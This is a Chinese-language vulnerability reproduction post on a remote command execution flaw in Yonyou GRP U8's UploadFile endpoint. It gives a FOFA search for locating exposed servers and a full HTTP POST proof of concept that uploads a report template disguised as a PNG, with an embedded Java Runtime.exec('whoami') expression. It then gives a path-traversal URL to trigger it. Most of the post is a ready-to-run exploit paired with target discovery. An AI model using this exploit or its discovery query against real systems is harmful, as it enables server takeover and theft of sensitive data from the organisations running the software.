用友 GRP U8 UploadFile 命令执行

简介: 用友 GRP U8 UploadFile 存在命令执行漏洞,攻击者可通过该漏洞获取服务器敏感信息以及接管服务器。

一、资产发现


FOFA: app="用友-GRP-U8" && port="88"

image.png

二、漏洞复现


POC如下


POST /UploadFile HTTP/1.1

Host: XXX.XX.XX.XX:88

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: JSESSIONID=18F403D91DD537D8DAA24D5A4B45C818

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Length: 3491

 

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="input_localfile"; filename="demodemo.png"

Content-Type: application/octet-stream

 

<jatools Class="jatools.ReportDocument" Name="jatools report template">

<VariableContext>

</VariableContext>

<Page>

<Name>panel</Name>

<Children ItemClass="PagePanel">

<Item0>

<Name>header</Name>

<Width>753</Width>

<Height>80</Height>

<Children ItemClass="Label">

<Item0>

<ForeColor>-65536</ForeColor>

<X>41</X>

<Y>15</Y>

<Width>362</Width>

<Height>62</Height>

</Item0>

</Children>

<Type>100</Type>

</Item0>

<Item1>

<Name>footer</Name>

<Y>802</Y>

<Width>753</Width>

<Height>280</Height>

<Type>103</Type>

</Item1>

<Item2>

<Name>body</Name>

<Y>80</Y>

<Width>753</Width>

<Height>722</Height>

<Children ItemClass="Table">

<Item0>

<NodePath>学生表</NodePath>

<X>115</X>

<Y>77</Y>

<Children>

<Item0 Class="Label">

<Text>家庭成员</Text>

<Border/>

<PrintStyle>united-level:1;</PrintStyle>

<Cell>

<Row>3</Row>

<Col>0</Col>

<RowSpan>2</RowSpan>

</Cell>

</Item0>

<Item1 Class="Label">

<Text>关系</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>1</Col>

</Cell>

</Item1>

<Item2 Class="Label">

<Text>性别</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>2</Col>

</Cell>

</Item2>

<Item3 Class="Label">

<Text>年龄</Text>

<BackColor>-4144897</BackColor>

<Border/>

<Cell>

<Row>3</Row>

<Col>3</Col>

</Cell>

</Item3>

<Item4 Class="Label">

<Text>得分</Text>

<Border/>

<Cell>

<Row>2</Row>

<Col>0</Col>

</Cell>

</Item4>

<Item5 Class="Label">

<Text>性别</Text>

<Border/>

<Cell>

<Row>1</Row>

<Col>0</Col>

</Cell>

</Item5>

<Item6 Class="Label">

<Text>姓名</Text>

<Border/>

<Cell>

<Row>0</Row>

<Col>0</Col>

</Cell>

</Item6>

<Item7 Class="Text">

<Variable>=$学生表</Variable>

<Border/>

<Cell>

<Row>0</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item7>

<Item8 Class="Text">

<Variable>=$学生表.value()</Variable>

<Border/>

<Cell>

<Row>1</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item8>

<Item9 Class="Text">

<Variable>=$学生表.getName()</Variable>

<Border/>

<Cell>

<Row>2</Row>

<Col>1</Col>

<ColSpan>3</ColSpan>

</Cell>

</Item9>

<Item10 Class="RowPanel">

<Cell>

<Row>4</Row>

<Col>0</Col>

<ColSpan>4</ColSpan>

</Cell>

<Children ItemClass="Text">

<Item0>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>3</Col>

</Cell>

</Item0>

<Item1>

<Variable></Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>2</Col>

</Cell>

</Item1>

<Item2>

<Variable>;</Variable>

<Border/>

<Cell>

<Row>4</Row>

<Col>1</Col>

</Cell>

</Item2>

</Children>

<NodePath>成员</NodePath>

</Item10>

</Children>

<ColumnWidths>60,60,60,60</ColumnWidths>

<RowHeights>20,20,20,20,20</RowHeights>

</Item0>

</Children>

<Type>102</Type>

</Item2>

</Children>

</Page>

<NodeSource>

<Children ItemClass="ArrayNodeSource">

<Item0>

<Children ItemClass="ArrayNodeSource">

<Item0>

<TagName>成员</TagName>

<Expression>$.value()</Expression>

</Item0>

</Children>

<TagName>学生表</TagName>

<Expression>new Object[]{new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine()}</Expression>

</Item0>

</Children>

</NodeSource>

</jatools>

------WebKitFormBoundaryicNNJvjQHmXpnjFc

Content-Disposition: form-data; name="type"

 

1

------WebKitFormBoundaryicNNJvjQHmXpnjFc—


三、复现结果


可以看到返回包回显为Success

image.png

然后访问http://x.x.x.x/u8qx/tools/defaultviewer.jsp?file=../../upload/demodemo.png

image.png

目录
相关文章
|
1月前
|
测试技术
云函数创建错误解决方案
云函数创建错误解决方案
23 0
|
4月前
|
Kubernetes 开发工具 git
代码协同模式使用问题之如果贡献者在本地仓库中进行了新的改动,如何更新已经创建的 pull request
代码协同模式使用问题之如果贡献者在本地仓库中进行了新的改动,如何更新已经创建的 pull request
|
6月前
|
移动开发 前端开发
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
基于若依的ruoyi-nbcio流程管理系统修复自定义业务表单的取消终止功能
65 3
|
安全 虚拟化 Python
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
和信创天云桌面系统_命令执行_任意文件上传
|
11月前
将PC微信本地文件从MsgAttach文件夹转移回原先的File文件夹-更加智能
微信做了啥我不想多说了,如果你觉得目录难找,可以使用我的程序 这是我对网上程序的更改,因为有长达2个月的附件,进行了2个月的归档,网上只能全迁移到6月份文件夹,我觉得不爽
134 0
|
监控
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案
Parallels Desktop 17.1.1 操作失败(执行该操作失败) 解决方案乳请看下文
134 1
|
安全 Linux Windows
命令执行之文件落地利用总结
命令执行之文件落地利用总结
145 0
EMQ
|
数据采集 监控 网络协议
v2.3 发布,新增西门子 Fetch/Write 驱动
十二月,我们发布了Neuron 2.3.0版本:新增监控模块,允许Neuron内部关键数据通过HTTP API对外暴露;协议驱动新增西门子FetchWrite驱动等。
EMQ
105 0
|
SQL 数据库
os.rename批量修改文件名称报错:[WinError 2] 系统找不到指定的文件的解决方案
os.rename批量修改文件名称报错:[WinError 2] 系统找不到指定的文件的解决方案
os.rename批量修改文件名称报错:[WinError 2] 系统找不到指定的文件的解决方案